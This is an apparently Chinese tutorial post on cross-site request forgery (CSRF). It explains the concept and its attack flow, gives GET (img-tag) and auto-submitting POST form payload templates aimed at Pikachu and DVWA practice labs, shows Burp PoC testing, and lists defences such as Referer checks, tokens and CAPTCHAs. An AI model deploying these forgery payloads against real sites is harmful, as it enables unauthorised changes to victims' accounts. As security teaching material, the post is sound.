文章目錄
一、漏洞介紹
1.1 含義
CSRF（Cross-site Request Forgery，跨站請求僞造），縮寫CSRF，也有少數文章稱爲XSRF，一種利用用戶在當前已登錄的Web應用程序上執行非本意操作的攻擊方法（利用受害者尚未失效的身份認證信息（cookie，會話等），創建惡意僞造的web頁面請求，在受害者不知情的情況下向服務器發送請求完成非法操作（轉賬、改密等））。
簡言之，攻擊者間接利用受害者合法身份，以其身份發送惡意請求。
1.2 漏洞實質
攻擊者通過技術手段欺騙用戶的瀏覽器訪問一個曾經認證過的網站，由於帶着認證信息被訪問的網站認證信息後認爲是真正用戶操作便執行操作。（簡單的身份認證只能保證請求發自某個用戶的瀏覽器，卻不能保證請求本身是用戶自願發起。）
1.3 攻擊過程
- 受害者（用戶）訪問存在CSRF漏洞的站點A
- 攻擊者（Hacker）設法 (點擊鏈接、xss方式) 讓受害者訪問自己的站點B
- 受害者中招訪問了攻擊者製作的網站B
- 攻擊者帶着受害者的Cookie發送僞造的請求給站點A（實現非法操作）
- 站點A看到是用戶的Cookie信息便執行了請求
- 攻擊者達到目的，一次CSRF攻擊完成
1.4 滿足條件
- （利用受害者的Cookie向服務器發送僞造的請求：）
-
- 受害者登錄Cookie未失效（建立在會話中）
-
- 攻擊者設法拿到HTTP接口中傳遞的參數（同源策略）
-
- 攻擊者設法構造攻擊鏈接
-
- 受害者點擊鏈接
- 受害者點擊鏈接
1.5 XSS和CSRF區別
- 定義上區別
XSS：跨站腳本攻擊
CSRF：跨站請求僞造 - 用戶是否需要身份驗證
XSS：不需要登錄（盜取用戶權限）
CSRF：需要登錄狀態下，獲取Cookie（藉助用戶權限完成攻擊，並沒拿到用戶權限） - 信任對象不同
XSS：利用用戶對指定網站的信任
CSRF：利用網站對用戶瀏覽器的信任
二、利用方式
2.1 GET傳參利用腳本
具體利用場景方式可參考漏洞靶場Pikachu：CSRF（GET）
（src中填入GET傳參的URL即可）
<img src="http://test.com/~1.php" alt="123">
<h1>404</h1>
<h1>file not found<h1>
2.2 POST傳參利用腳本
具體利用場景方式可參考漏洞靶場Pikachu：CSRF（POST）
（form標籤中寫入傳參的目的站點Input框中寫入POST傳參的值）
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.226.130/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="18626545453" />
<input id="add" type="text" name="add" value="china" />
<input id="email" type="text" name="email" value="[email protected]" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
三、挖掘方式
Burp
（在容易出現漏洞的地方比如修改個人信息的地方進行測試，觸發問題則存在漏洞：）
》》DVWA的CSRF漏洞點進行測試（修改密碼且無原密碼）
》》Burp抓取數據包，請求包中無token，可能存在漏洞：
》》點擊生成CSRF poc
》》點擊複製HTML
》》修改請求中的數據密碼爲222222
》》重新瀏覽器訪問
》》密碼被修改
》》僞造的密碼被惡意篡改了，則存在csrf漏洞
Burp的主動和被動以及插件都不好用！
》》使用DVWA安全等級設爲低提交新密碼
》》BurpSuite默認靜態掃描沒有掃描出來
》》動態掃描沒有CSRF
四、繞過姿勢
五、防禦手段
- referer頭校驗（服務端校驗Referer頭是否同域傳來以此決定是否響應請求，能抵禦99%的攻擊）
Q&A：
問：Referer不可僞造嗎？
答：Referer是瀏覽器自動帶上的，基於認爲瀏覽器沒有漏洞前提下無法僞造。
問：Referer校驗有啥缺點嗎？
答：當今移動端崛起下流行前後端分離，app和web共用一套後端代碼，但app不會自動帶Referer頭，因此app端不好處理
- token校驗（CSRF之所以能成功是由於所有的用戶驗證信息都在cookie中，用戶點擊鏈接時保存在瀏覽器中的cookie會像服務器發送請求，因此黑客在完全不知驗證信息情況下間接利用用戶的cookie通過安全驗證，要想防禦CSRF，關鍵在於請求中放入黑客不能僞造的信息，且該信息不存於cookie中。可以在HTTP請求中以參數的形式加入一個隨機產生的token，並在服務器端建立一個攔截器來驗證token如果請求中沒有token或者token內容不正確則拒絕請求。）
Q&A
問：GET和POST請求怎麼加入token?
答：對於GET請求，token附在地址之後；對於POST請求在表單中提交一個隱藏的表單，<input type=“hidden” name=“csrftoken” value=“tokenvalue”>
問：”token驗證方式萬無一失嗎？“
答：”現實中一個網站有很多請求，都加入token是很麻煩的，容易存在疏漏，一般在頁面加載時通過js遍歷dom樹對所有a和form標籤後加入token，解決大部門請求，但是頁面加載生成後的html代碼還需要編碼時手動添加。第二個是難以保證token本身安全“
- 驗證碼（敏感操作時候用戶提交表單中填寫一個隨機的字符串，可以完全解決CSRF，缺點是易用性不怎麼友好）